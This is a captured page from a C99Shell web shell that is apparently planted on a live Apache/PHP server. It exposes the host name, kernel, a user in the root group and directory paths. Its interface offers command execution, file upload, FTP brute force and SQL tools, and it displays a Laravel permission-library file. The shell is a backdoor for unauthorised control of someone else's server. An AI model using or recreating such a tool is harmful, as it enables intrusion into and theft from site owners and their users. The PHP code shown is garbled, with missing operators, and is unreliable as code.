!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/spatie/laravel-permission/src/   drwxr-xr-x
Free 28.42 GB of 117.98 GB (24.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WildcardPermission.php (2.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Permission;

use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Support\Str;
use 
Spatie\Permission\Contracts\Wildcard;
use 
Spatie\Permission\Exceptions\WildcardPermissionNotProperlyFormatted;

class 
WildcardPermission implements Wildcard
{
    
/** @var string */
    
public const WILDCARD_TOKEN '*';

    
/** @var non-empty-string */
    
public const PART_DELIMITER '.';

    
/** @var non-empty-string */
    
public const SUBPART_DELIMITER ',';

    protected 
Model $record;

    public function 
__construct(Model $record)
    {
        
$this->record $record;
    }

    public function 
getIndex(): array
    {
        
$index = [];

        foreach (
$this->record->getAllPermissions() as $permission) {
            
$index[$permission->guard_name] = $this->buildIndex(
                
$index[$permission->guard_name] ?? [],
                
explode(static::PART_DELIMITER$permission->name),
                
$permission->name,
            );
        }

        return 
$index;
    }

    protected function 
buildIndex(array $index, array $partsstring $permission): array
    {
        if (empty(
$parts)) {
            
$index[null] = true;

            return 
$index;
        }

        
$part array_shift($parts);

        if (
blank($part)) {
            throw 
WildcardPermissionNotProperlyFormatted::create($permission);
        }

        if (! 
Str::contains($part, static::SUBPART_DELIMITER)) {
            
$index[$part] = $this->buildIndex(
                
$index[$part] ?? [],
                
$parts,
                
$permission,
            );
        }

        
$subParts explode(static::SUBPART_DELIMITER$part);

        foreach (
$subParts as $subPart) {
            if (
blank($subPart)) {
                throw 
WildcardPermissionNotProperlyFormatted::create($permission);
            }

            
$index[$subPart] = $this->buildIndex(
                
$index[$subPart] ?? [],
                
$parts,
                
$permission,
            );
        }

        return 
$index;
    }

    public function 
implies(string $permissionstring $guardName, array $index): bool
    
{
        if (! 
array_key_exists($guardName$index)) {
            return 
false;
        }

        
$permission explode(static::PART_DELIMITER$permission);

        return 
$this->checkIndex($permission$index[$guardName]);
    }

    protected function 
checkIndex(array $permission, array $index): bool
    
{
        if (
array_key_exists(strval(null), $index)) {
            return 
true;
        }

        if (empty(
$permission)) {
            return 
false;
        }

        
$firstPermission array_shift($permission);

        if (
            
array_key_exists($firstPermission$index) &&
            
$this->checkIndex($permission$index[$firstPermission])
        ) {
            return 
true;
        }

        if (
array_key_exists(static::WILDCARD_TOKEN$index)) {
            return 
$this->checkIndex($permission$index[static::WILDCARD_TOKEN]);
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--